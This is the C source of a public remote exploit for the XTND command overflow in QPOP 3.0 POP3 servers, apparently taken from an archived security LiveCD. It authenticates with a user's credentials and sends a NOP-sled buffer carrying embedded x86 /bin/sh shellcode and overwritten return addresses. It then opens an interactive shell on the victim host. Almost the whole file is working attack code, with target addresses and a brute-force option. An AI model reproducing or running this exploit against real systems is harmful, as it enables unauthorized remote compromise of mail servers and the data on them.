home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / qpop-xtnd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  14KB  |  501 lines

  1. /*
  2.  * Linux(x86) - Crappy exploit for QPOP3.0's XTND bug - PUBLIC VERSION
  3.  *
  4.  * This bug was fixed silently by Qualcomm in one of the later betas.
  5.  * Discovered and exploited by  p0rTaL (portal@security.is) Nov 20th 1999
  6.  * Greetings go to the security.is team, (\x90, DiGiT, duke, doze), #!teso
  7.  * and Ircnet's #hax.
  8.  * Compiles on Linux, porting should be easy.
  9.  */
  10.  
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <netdb.h>
  15. #include <netinet/in.h>
  16. #include <sys/time.h>
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <arpa/inet.h>
  20. #include <getopt.h>
  21. #include <unistd.h>
  22. #include <signal.h>
  23. #include <errno.h>
  24.  
  25.  
  26. #define MAX_TYPE           1
  27. #define MAX_SHELLCODE      2
  28. #define NOP                '\x90' /* x86 only */
  29. #define APPEND_ADDRESSES   3
  30.  
  31. #define HARDCORE
  32. #define DEBUG
  33.  
  34. #define LINEFEED           "\r\n"
  35.  
  36.  
  37. int sock           = -1;
  38. int port           = 110;  //this ought to be the default
  39. int type           = 0;
  40. int shellcode_num  = -1;   //use the default
  41. int offset         = 0;
  42. int impact_place   = 993;
  43. int appenders      = APPEND_ADDRESSES;
  44. unsigned char buffer[1500];
  45. struct in_addr in;
  46. char *victim = NULL;
  47.  
  48.  
  49. typedef struct
  50.   {
  51.     char *platform;
  52.     char *function;
  53.     char *code;
  54.   }
  55. SHELLCODE;
  56.  
  57.  
  58. typedef struct
  59.   {
  60.     char *platform;
  61.     char *version;
  62.     char *tested_on;
  63.     SHELLCODE *shellcode;
  64.     unsigned long address;
  65.   }
  66. PLATFORM;
  67.  
  68.  
  69. SHELLCODE shellcodes[] =
  70.   {
  71.     {
  72.       "Linux libc", "Standard dup2() /bin/bash interactive pipe",
  73.       "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
  74.       "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  75.       "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  76.       "\xff\xff/bin/sh........."
  77.     }, {
  78.       NULL, NULL, NULL
  79.     }
  80.   };
  81.  
  82.  
  83. PLATFORM platforms[] =
  84.   {
  85.     {  "Slackware Linux", "3.0b20", "4.0", &shellcodes[0], 0xbffff3e8  },
  86.     {  NULL, NULL, NULL, 0, 0  }
  87.   };
  88.  
  89.  
  90. struct
  91.   {
  92.     char on;
  93.     unsigned long start;
  94.     unsigned long now;
  95.     unsigned long end;
  96.     int step;
  97.   }
  98. bruteforce;
  99.  
  100.  
  101.  
  102. void do_lookup (void)
  103. {
  104.   struct hostent *he;
  105.  
  106.   if ( (he = gethostbyname (victim)) != NULL)
  107.     {
  108.       memcpy (&in, he->h_addr, he->h_length);
  109.       printf ("Resolved %s to %s\n", victim, inet_ntoa(in));
  110.     }
  111.   else
  112.     if ( (inet_aton (victim, &in)) < 0)
  113.       {
  114.         fprintf (stderr, "Unable to resolve %s. (errno == %d)\n", victim, errno);
  115.         exit (-1);
  116.       }
  117.  
  118.   if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
  119.     {
  120.       fprintf (stderr, "\"Socketation\" failed. (errno == %d)\n", errno);
  121.       exit (-1);
  122.     }
  123. }
  124.  
  125.  
  126. void do_connect (void)
  127. {
  128.   struct sockaddr_in si;
  129.  
  130.   memset ((char *)&si, '\0', sizeof (si)); //should clean sin_zero as well
  131.   si.sin_family      = AF_INET;
  132.   si.sin_addr.s_addr = in.s_addr;
  133.   si.sin_port        = htons(port);
  134.  
  135.   if ( (connect (sock, (struct sockaddr *) &si, sizeof (si))) < 0)
  136.     {
  137.       fprintf (stderr, "Unable to connect to %s:%d, errno == %d\n", victim, port, errno);
  138.       exit (-1);
  139.     }
  140.  
  141.  
  142.   //   connect (sock, (struct sockaddr *)&si, sizeof(si));
  143. }
  144.  
  145.  
  146.  
  147.  
  148. void usage(char *progname)
  149. {
  150.   int i;
  151.  
  152.   printf ("QPOP3.0-XTND remotely local exploit :)\n");
  153.   printf ("Discovered and exploited Nov. 20th 1999 by p0rTaL (portal@security.is)\n\n");
  154.   printf ("Usage: %s <hostname> <user> <passwd> [-p port] [-t type] [-o offset] [-s shellcode]\n", progname);
  155.   printf ("Currently supported platforms:\n");
  156.  
  157.   for (i = 0; platforms[i].platform != NULL; i++)
  158.     printf ("%d: %s %s, QPOP %s, shellcode %s - 0x%x\n", i, platforms[i].platform, platforms[i].tested_on,
  159.             platforms[i].version, platforms[i].shellcode->platform, platforms[i].address);
  160.  
  161.   printf ("\nCurrent shellcodes:\n");
  162.   for (i = 0; shellcodes[i].platform != NULL; i++)
  163.     printf ("%d: %s (%d bytes) - %s\n", i, shellcodes[i].platform, strlen (shellcodes[i].code), shellcodes[i].function);
  164.  
  165.   printf ("\n    This exploit is for demonstration purposes only. You, and only you, are\n");
  166.   printf ("                      responsible for your OWN actions.\n\n");
  167.   exit (0);
  168. }
  169.  
  170.  
  171.  
  172. void receive (void)
  173. {
  174.   unsigned char buf[1500+1];
  175.   int i;
  176.  
  177.   memset (buf, '\0', sizeof(buf));
  178.   if ( (read (sock, buf, sizeof(buf)-1)) < 0)
  179.     {
  180.       fprintf (stderr, "An error occured while reading from the server. (errno == %d)\n", errno);
  181.       close (sock);
  182.       exit (-1);
  183.     }
  184.   printf ("READ: \033[1;34m");
  185.   for (i = 0; i < strlen(buf); i++)
  186.     if (!iscntrl(buf[i]))
  187.       printf ("%02x  ", buf[i]);
  188.  
  189.   printf ("\033[0;37m\n(%s)\n", buf);
  190. }
  191.  
  192.  
  193. void transmit (char *string)  //no need for a VA list
  194. {
  195.   if ( (write (sock, string, strlen(string))) < 0)
  196.     {
  197.       fprintf (stderr, "An error occured during a write attempt to the server. (errno == %d)\n", errno);
  198.       exit (-1);
  199.     }
  200. }
  201.  
  202.  
  203. void terminal (int sock)
  204. {
  205.   char buffer[1024+1];
  206.   fd_set remote_fds;
  207.   fd_set local_fds;
  208.   int i;
  209.  
  210.   for (i = 0; i < NSIG; i++)
  211.     if (i != SIGINT) //allow the user to ctrl+c out
  212.       signal (i, SIG_IGN);
  213.  
  214.   FD_ZERO (&local_fds);
  215.   FD_SET (0, &local_fds);
  216.   FD_SET (sock, &local_fds);
  217.  
  218.   while (1)
  219.     {
  220.       memcpy (&remote_fds, &local_fds, sizeof(local_fds));
  221.       if ( (i = select (sock + 1, &remote_fds, NULL, NULL, NULL)) < 0)
  222.         {
  223.           fprintf (stderr, "Error, select() returned %d, errno is %d\n", i, errno);
  224.           exit(-1);
  225.         }
  226.       if (i == 0)
  227.         {
  228.           fprintf (stderr, "Session was terminated by foreign host.\n");
  229.           exit(0);
  230.         }
  231.       if (FD_ISSET (sock, &remote_fds))
  232.         {
  233.           if ( (i = read(sock, buffer, sizeof(buffer))) < 0)
  234.             {
  235.               /* the user got disconnected, most probably */
  236. #ifdef DEBUG
  237.               fprintf (stderr, "read() failed, returned %d, errno is %d\n", i, errno);
  238. #endif
  239.               fprintf (stderr, "\nDisconnected!\n");
  240.               exit(0);
  241.             }
  242.           write (1, buffer, i); //stdout, receive
  243.           //         receive();
  244.         }
  245.  
  246.  
  247.       if (FD_ISSET (0, &remote_fds))
  248.         {
  249.           memset (buffer, '\0', sizeof(buffer));
  250.           if ( (i = read(0, buffer, sizeof(buffer))) < 0)
  251.             {
  252.               fprintf (stderr, "read() returned %d, errno is %d\n", i, errno);
  253.               exit(-1);
  254.             }
  255.           write (sock, buffer, i); //transmit
  256.         }
  257.  
  258.     }
  259. }
  260.  
  261.  
  262. void log_on (char *user, char *password, int sock)
  263. {
  264.   char buf[1024+1];
  265.   int messages = 0;
  266.  
  267.   printf ("-> Authenticating ...\n");
  268.  
  269.   write (sock, "USER ", 5);
  270.   write (sock, user, strlen(user));
  271.   write (sock, LINEFEED, strlen(LINEFEED));
  272.   usleep (500000); //assuming great bandwidth
  273.   memset (buf, '\0', sizeof(buf));
  274.   if ( (read (sock, buf, sizeof(buf)-1)) < 0)
  275.     {
  276.       fprintf (stderr, "Remote server closed the connection during USER phase.\n");
  277.       close (sock);
  278.       exit(-1);
  279.     }
  280. #ifdef DEBUG
  281.   printf (" READ: (%s)\n", buf);
  282. #endif
  283.   write (sock, "PASS ", 5);
  284.   write (sock, password, strlen(password));
  285.   write (sock, LINEFEED, strlen(LINEFEED));
  286.   usleep (500000);
  287.   memset (buf, '\0', sizeof(buf));
  288.   if ( (read (sock, buf, sizeof(buf)-1)) < 0)
  289.     {
  290.       fprintf (stderr, "Remote server closed the connection during PASS phase.\n");
  291.       close (sock);
  292.       exit(-1);
  293.     }
  294.   if ( (strstr (buf, "+OK")) && (strstr (buf, "message")) )
  295.     {
  296.       printf ("-> Successfully logged on as \"%s\"\n", user);
  297.       *(strstr (buf, " message")) = '\0'; //terminate it
  298.       messages = atoi( (char *)(strstr (buf, "has") + 4) );
  299.       printf ("-> Message%s: %d ", (messages == 1) ? "" : "s", messages);
  300.       if (messages <= 0)
  301.         {
  302.           printf ("\033[1;31m=\033[0;37m Not OK\n\n"
  303.                   "ERROR: The LIST vulnerability cannot be exploited except\n"
  304.                   "       if there are existing messages in the mailbox.\n"
  305.                   "       Go send yourself a mail :)\n");
  306.           close (sock);
  307.           exit (-1);
  308.         }
  309.       printf ("- OK\n");
  310.     }
  311.   else
  312.     {
  313.       fprintf (stderr, "Unable to log on, incorrect user/password or something.\n");
  314.       fprintf (stderr, "Last response from server:\n\"%s\"\n", buf);
  315.       close (sock);
  316.       exit(-1);
  317.     }
  318. }
  319.  
  320.  
  321.  
  322. int main(int argc, char **argv)
  323. {
  324.   int i, next_arg = 0;
  325.   char *progname = argv[0];
  326.   char *remote_user = NULL,
  327.                       *remote_passwd = NULL;
  328.  
  329.   if (argc < 4)
  330.     usage(progname);
  331.  
  332.   memset ((char *)&bruteforce, '\0', sizeof((char *)&bruteforce));
  333.  
  334.   victim = (char *)strdup(argv[1]);
  335.   argv++;
  336.   argc--;
  337.  
  338.   remote_user = (char *)strdup(argv[1]);
  339.   argv++;
  340.   argc--;
  341.  
  342.   remote_passwd = (char *)strdup(argv[1]);
  343.   argv++;
  344.   argc--;
  345.  
  346.   while ( (next_arg = getopt(argc, argv, "p:t:s:o:r:i:b")) != EOF)
  347.     switch (next_arg)
  348.       {
  349.       case 'p':
  350.         if ( (atoi(optarg) < 0) || (atoi(optarg) > 65535) )
  351.           {
  352.             fprintf (stderr, "Outrageous port-number! Stick with a number below 65535 (and above zero)\n");
  353.             usage (progname);
  354.           }
  355.         port = atoi(optarg);
  356.         printf (" -> Port set to %d.\n", port);
  357.         break;
  358.       case 't':
  359.         if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_TYPE) )
  360.           {
  361.             fprintf (stderr, "Invalid type, should range from 0 to %d.\n", MAX_TYPE);
  362.             usage (progname);
  363.           }
  364.         type = atoi(optarg);
  365.         printf (" -> Type set to %d, %s %s.\n", type, platforms[type].platform, platforms[type].tested_on);
  366.         break;
  367.       case 's':
  368.         if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_SHELLCODE) )
  369.           {
  370.             fprintf (stderr, "Invalid shellcode number, should range from 0 to %d.\n", MAX_SHELLCODE);
  371.             usage (progname);
  372.           }
  373.         shellcode_num = atoi(optarg);
  374.         printf (" -> Shellcode set for %s, %s.\n", shellcodes[shellcode_num].platform, shellcodes[shellcode_num].function);
  375.         break;
  376.       case 'o':
  377.         if (bruteforce.on == 1)
  378.           {
  379.             fprintf (stderr, "You cannot specify -offset and -bruteforce at the same time.\nMake up your mind!\n");
  380.             exit (-1);
  381.           }
  382.         offset = atoi(optarg);
  383.         printf (" -> Offset set to %d.\n", offset);
  384.         break;
  385.       case 'b':
  386.         bruteforce.on = 1;
  387.         printf (" -> Bruteforce mode selected (not fully implemented in this version)\n");
  388.         printf (" -> Enter offsets seperated with a space, and a 'step' number (e.g. \"bfffffff bfff0000 4\"):\n   ");
  389.         if ( (fscanf (stdin, "%x %x %d", &bruteforce.start, &bruteforce.end, &bruteforce.step)) != 3)
  390.           {
  391.             fprintf (stderr, "Unknown offsets.\n");
  392.             exit (-1);
  393.           }
  394.         break;
  395.       case 'i':
  396.         impact_place = atoi(optarg);
  397.         printf (" -> Place of impact set to %d.\n", impact_place);
  398.         break;
  399.       case 'r':
  400.         appenders = atoi(optarg);
  401.         printf (" -> Number of return addresses set to %d.\n", appenders);
  402.         break;
  403.       default:
  404.         fprintf (stderr, "Fictional option: '%c', please take your medication.\n", next_arg);
  405.         usage (progname);
  406.         break;
  407.       }
  408.  
  409.   do_lookup();
  410.  
  411.   printf ("\nAttacking %s, a %s %s host\n", victim, platforms[type].platform, platforms[type].tested_on);
  412.  
  413.   if (shellcode_num != -1)
  414.     {
  415.       platforms[type].shellcode = &(shellcodes[shellcode_num]);
  416.       printf (" - Using %s shellcode\n", shellcodes[shellcode_num].platform);
  417.     }
  418.   else
  419.     printf (" - Using the default shellcode, %s\n", platforms[type].shellcode->platform);
  420.  
  421.   if (bruteforce.on == 0)
  422.     {
  423.       platforms[type].address -= offset;
  424.       printf (" - Using return address %#x\n", platforms[type].address);
  425.       printf ("\nAssembling shellspawning code\n");
  426.     }
  427.   else
  428.     printf (" - Going to bruteforce from %#x to %#x in steps of %d\n", bruteforce.start, bruteforce.end, bruteforce.step);
  429.  
  430.   printf ("-> Connecting to %s, port %d\n", inet_ntoa(in), port);
  431.  
  432.   do_connect();
  433.   receive ();
  434.   log_on (remote_user, remote_passwd, sock);
  435.  
  436.   memset (buffer, '\0', sizeof(buffer));
  437.   strcpy (buffer, "XTND "); //the bug lies in pop_xtnd.c
  438.  
  439.  
  440. #ifdef DEBUG
  441.   printf ("Step 1, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
  442. #endif
  443.  
  444.   memset (buffer+strlen(buffer), NOP, sizeof(buffer)-strlen(buffer)-1);
  445.  
  446. #ifdef DEBUG
  447.   printf ("Step 2, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
  448. #endif
  449.  
  450.   strncpy (buffer + impact_place - strlen(platforms[type].shellcode->code), platforms[type].shellcode->code,
  451.            sizeof(buffer) - impact_place - 5 - 1);
  452.   //impact_place + strlen(platforms[type].shellcode->code) - (APPEND_ADDRESSES * sizeof(platforms[type].address) + 2) - 1);
  453.  
  454. #ifdef DEBUG
  455.   printf ("Step 3, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
  456. #endif
  457.  
  458.   i = 0;
  459.  
  460.   while (i < appenders)
  461.     {
  462.       /*
  463.             o      = buffer + strlen(buffer);
  464.             *(o)   = (platforms[type].address & 0x000000ff);
  465.             *(o+1) = (platforms[type].address & 0x0000ff00) >> 8;
  466.             *(o+2) = (platforms[type].address & 0x00ff0000) >> 16;
  467.             *(o+3) = (platforms[type].address & 0xff000000) >> 24;
  468.             *(o+4) = '\0';
  469. [2000]*/
  470.  
  471.       memcpy ((char *)&buffer + strlen(buffer), &platforms[type].address, 4);
  472. #ifdef HARDCORE
  473.       printf ("-> sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
  474. #endif
  475.       i++;
  476.     }
  477.  
  478.   strcpy (buffer + strlen(buffer), "\x0d\x0a"); // \x00 gets appended automatically
  479.  
  480.  
  481. #ifdef HARDCORE
  482.   printf ("Code is:\n\033[1;31m");
  483.   for (i = 0; i < strlen(buffer); i++)
  484.     printf ("%02x  ", buffer[i]);
  485.  
  486.   printf ("\033[0;37m\n");
  487. #endif
  488.  
  489.   transmit (buffer);
  490.   receive ();
  491.   printf ("Got shell!\n");
  492.  
  493.  
  494.   terminal (sock);
  495.  
  496.   close (sock);
  497.   //not reached
  498.  
  499.   return (0);
  500. }
  501. /*                    www.hack.co.za           [8 June 2000]*/